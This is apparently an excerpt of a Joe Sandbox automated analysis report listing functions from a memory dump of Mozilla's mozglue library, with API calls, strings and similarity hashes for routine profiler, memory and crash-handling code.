?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB7B0A6,6CB7B0A6,?,6CB7AF67,?,00000010,?,6CB7AF67,?,00000010,00000000,?), ref: 6CB7B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB7B0A6,6CB7B0A6,?,6CB7AF67,?,00000010,?,6CB7AF67,?,00000010), ref: 6CB7B25F

Strings

map/set<T> too long, xrefs: 6CB7B1FA

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: caf4611bb0460512d53680099f2672885b7d61626644f873281114dde8eb9e19
Instruction ID: 728bd48d9eba1817cd3a6d131e0267497404dc4077362e0cafd692e897a22dbc
Opcode Fuzzy Hash: caf4611bb0460512d53680099f2672885b7d61626644f873281114dde8eb9e19
Instruction Fuzzy Hash: 986169746052858FD711CF19C880A9ABBF1FF4A318F28C599D8699BB52C731EC45CFA2

Function 6CB3D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

EnterCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D4F2
LeaveCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D50B

Part of subcall function 6CB1CFE0: EnterCriticalSection.KERNEL32(6CB9E784), ref: 6CB1CFF6
Part of subcall function 6CB1CFE0: LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D52E
EnterCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB3D690
LeaveCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D751

Strings

MOZ_CRASH(), xrefs: 6CB3D4BB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 98ddafdf9e06acff6831fd3ddb59cc6ceda5329772a60dbd98d0d4de3b33ac7e
Instruction ID: 8a79baebd1cd5367a625a24cc438345c5320540045e0b31e74480be4233e9c60
Opcode Fuzzy Hash: 98ddafdf9e06acff6831fd3ddb59cc6ceda5329772a60dbd98d0d4de3b33ac7e
Instruction Fuzzy Hash: 8051E271A047918FD314CF29C19471AB7F1FB8A714F24892EE5A9C7B84D770E804CB92

Function 6CB64630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB64721

Strings

., xrefs: 6CB6476A
profiler-paused, xrefs: 6CB646E4
-%llu, xrefs: 6CB64733

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02be935265c327c0c347916f21a461f0daa1736e00fe799d92604654fb46b144
Instruction ID: f03785a31a5149621213b13beeb82985d67c80aae98795c1b7e7579d20db5dbb
Opcode Fuzzy Hash: 02be935265c327c0c347916f21a461f0daa1736e00fe799d92604654fb46b144
Instruction Fuzzy Hash: 2E416A71E08B489FCB08DF79E86216EBBE5EF86754F10863EE84557B41EB309844CB42

Function 6CB89830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB8985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB8987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB898D9

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: afb09b96fc70c75b9ea17bdf1d5dca2657456f5910fb94a4aee7346594b01877
Instruction ID: e09040b95c22c502f8ecab9a5f44f0d1c147084f2f13a5c162d5c2e05c5ae608
Opcode Fuzzy Hash: afb09b96fc70c75b9ea17bdf1d5dca2657456f5910fb94a4aee7346594b01877
Instruction Fuzzy Hash: 3E313571B00148ABDF04AF59DC409EF77A9EF86714F50842DEA0A9BB40CB306909CBE1

Function 6CB646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB64721

Part of subcall function 6CB14410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB53EBD,00000017,?,00000000,?,6CB53EBD,?,?,6CB142D2), ref: 6CB14444

Strings

., xrefs: 6CB6476A
profiler-paused, xrefs: 6CB646E4
-%llu, xrefs: 6CB64733

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2ccfbbddeacc5b2b5314307365739e8321a2738ee91bc6480a4714501a187637
Instruction ID: 04e12b698865b78a39111daee9340a91f3af6b2507239a32a422efb1c8f22ab2
Opcode Fuzzy Hash: 2ccfbbddeacc5b2b5314307365739e8321a2738ee91bc6480a4714501a187637
Instruction Fuzzy Hash: 59314B71F042489FCB0CCFADD8916AEBBE6DB99714F14813EE8059BB41EB7098048F91

Function 6CB6B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB53EBD,6CB53EBD,00000000), ref: 6CB142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB6B127), ref: 6CB6B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB6B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB6B4E4

Strings

pid:, xrefs: 6CB6B4DE

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8e9198106da8ea2a3569999ef266601e34f8a0d27c75d2777da8277957773ac4
Instruction ID: fcb4887c518771308a9e992599d826db10a896015a66f84a0ba628687b532e7c
Opcode Fuzzy Hash: 8e9198106da8ea2a3569999ef266601e34f8a0d27c75d2777da8277957773ac4
Instruction Fuzzy Hash: 9C312431A01298CFDB00DFAAD880AEEB7B9FF45318F540529E81567E41D731E849DBE2

Function 6CB5E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB5E577
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5E584
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB5E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB5E826, 6CB5E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB5E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB5E722, 6CB5E750, 6CB5E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB5E655
MOZ_PROFILER_STARTUP, xrefs: 6CB5E5A1, 6CB5E5CC, 6CB5E5FF, 6CB5E62A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: e7b5e0781b3cf7d548342bb0240814cec64613722b6ceaabd3d940f4878fa570
Instruction ID: f262e17b86980ee5c056674a5a508d3cd198d9fb3335c54f89bc27e9b1d69871
Opcode Fuzzy Hash: e7b5e0781b3cf7d548342bb0240814cec64613722b6ceaabd3d940f4878fa570
Instruction Fuzzy Hash: 06118E31604698DFCB109F25C549B6EBBB8FB8A329F510629F85647750C774A814CBA2

Function 6CB60C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB60CD5

Part of subcall function 6CB4F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB4F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB60D40
free.MOZGLUE ref: 6CB60DCB

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

free.MOZGLUE ref: 6CB60DDD
free.MOZGLUE ref: 6CB60DF2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: dafa05592e576814143781a4caf31bea47a07380e8ef48b267e4be533b49a4e1
Instruction ID: 19b77d997da430fe66c29c1fdc839004b365a2d9246cf9cbff6d86b756ba9aec
Opcode Fuzzy Hash: dafa05592e576814143781a4caf31bea47a07380e8ef48b267e4be533b49a4e1
Instruction Fuzzy Hash: 544105759097949BD720CF2AD08079EFBE5FF89714F108A2EE8D887B50D7709485CB82

Function 6CB6CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6CDA4

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

Part of subcall function 6CB6D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB6CDBA,00100000,?,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6D158
Part of subcall function 6CB6D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB6CDBA,00100000,?,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6CDC4

Part of subcall function 6CB67480: ReleaseSRWLockExclusive.KERNEL32(?,6CB715FC,?,?,?,?,6CB715FC,?), ref: 6CB674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6CECC

Part of subcall function 6CB2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB2CAA2

Part of subcall function 6CB5CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB6CEEA,?,?,?,?,00000000,?,6CB5DA31,00100000,?,?,00000000), ref: 6CB5CB57
Part of subcall function 6CB5CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB5CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB6CEEA,?,?), ref: 6CB5CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB5DA31,00100000,?,?,00000000,?), ref: 6CB6D058

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: e34c6e8b481af6bbd610e9efed31f540c7007c05cb853db4e160fcbd78dd7cf7
Instruction ID: cb3a12bfb6819c70692fc762acc5189cebc289c3589d725d15685a3fa17c7b6c
Opcode Fuzzy Hash: e34c6e8b481af6bbd610e9efed31f540c7007c05cb853db4e160fcbd78dd7cf7
Instruction Fuzzy Hash: 9BD17F71A04B469FDB08CF29C490B99F7E1FF89304F11862DD85987712EB31A965CBC1

Function 6CB21720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CB218EE
free.MOZGLUE(?), ref: 6CB21911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2194C

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: a061b68db2b700df8766282b8895b5544742b549b1e134568a9a4c34117ec4ca
Instruction ID: 35e461850acf7c9fd3baac6d8dc4ff288be000249ac43d9c9d422a43ec131b21
Opcode Fuzzy Hash: a061b68db2b700df8766282b8895b5544742b549b1e134568a9a4c34117ec4ca
Instruction Fuzzy Hash: FC81C070A152459FCB08CF68D8C49AEBBB1FF89310F08462CE849AB754D735ED45CBA2

Function 6CB35C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB35D40
EnterCriticalSection.KERNEL32(6CB9F688), ref: 6CB35D67
__aulldiv.LIBCMT ref: 6CB35DB4
LeaveCriticalSection.KERNEL32(6CB9F688), ref: 6CB35DED

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: bd30d5ee8a5bbeeec6e9644bba8a153999e863d461f19d03a66d12537ea23123
Instruction ID: 9593d11dac537f1b24cab5b5d9bbf5214450ad6f0d041367e67c75ffdce4217d
Opcode Fuzzy Hash: bd30d5ee8a5bbeeec6e9644bba8a153999e863d461f19d03a66d12537ea23123
Instruction Fuzzy Hash: A3516171E002798FDF08CF68C954ABEBBB1FB86314F1A862DD815A7750C7306949CB91

Function 6CB1CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CB1CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CB1CF4E

Strings

0, xrefs: 6CB1CF30

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9bff7a918ae1c2862f184042f377486226d8d5a9937011bae91ac22e254d667f
Instruction ID: 9164e84821c80b1e4d76ad5d4c487af0c8b1f715c37fb95d15055f4a41971c55
Opcode Fuzzy Hash: 9bff7a918ae1c2862f184042f377486226d8d5a9937011bae91ac22e254d667f
Instruction Fuzzy Hash: 2F510376A042968FCB00CF18C490AAABBB5EF99300F19869DD8595F751D731FD06CBE0

Function 6CB777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB77829

Part of subcall function 6CB4CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CB131A7), ref: 6CB4CC45
Part of subcall function 6CB4CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CB131A7), ref: 6CB4CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB7789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB778CF

Part of subcall function 6CB14DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB14E5A
Part of subcall function 6CB14DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB14E97

Part of subcall function 6CB14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB53EBD,6CB53EBD,00000000), ref: 6CB142A9

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 067c73508764a367859df880f47f4c1b62c71d061334c28e94266fafd9fbc065
Instruction ID: 1ffba2f11c8a6633e6c7362644851c633108599c4841a9da67d4efc11feab6b3
Opcode Fuzzy Hash: 067c73508764a367859df880f47f4c1b62c71d061334c28e94266fafd9fbc065
Instruction Fuzzy Hash: BC41AF719087869BD301DF29C48056BFBF4FF8A254F204A2DE4A987640DB70E559CBD2

Function 6CB56470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB582BC,?,?), ref: 6CB5649B

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB564A9

Part of subcall function 6CB4FA80: GetCurrentThreadId.KERNEL32 ref: 6CB4FA8D
Part of subcall function 6CB4FA80: AcquireSRWLockExclusive.KERNEL32(6CB9F448), ref: 6CB4FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB5653F
free.MOZGLUE(?), ref: 6CB5655A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 040a62dbb23545642b9e79537fea6f181097feb1508001e215d6ee1f522165ca
Instruction ID: 50a58db8029c450f4d0e0eb1088f1c49bec2122e0381c04e9b27931193bf0024
Opcode Fuzzy Hash: 040a62dbb23545642b9e79537fea6f181097feb1508001e215d6ee1f522165ca
Instruction Fuzzy Hash: F03190B5A043459FD704CF25D880A9EBBF4FF89314F40842EE89A97744DB34E919CB92

Function 6CB4FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB6D019,?,?,?,?,?,00000000,?,6CB5DA31,00100000,?), ref: 6CB4FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB6D019,?,?,?,?,?,00000000,?,6CB5DA31,00100000,?,?), ref: 6CB4FFF5
free.MOZGLUE(?,?,?,?,?,6CB6D019,?,?,?,?,?,00000000,?,6CB5DA31,00100000,?), ref: 6CB5001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB6D019,?,?,?,?,?,00000000,?,6CB5DA31,00100000,?,?), ref: 6CB5002A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 9f7a4a3ce917da870a8a466a07243565147f785b16dfff50a863970ff094b4c3
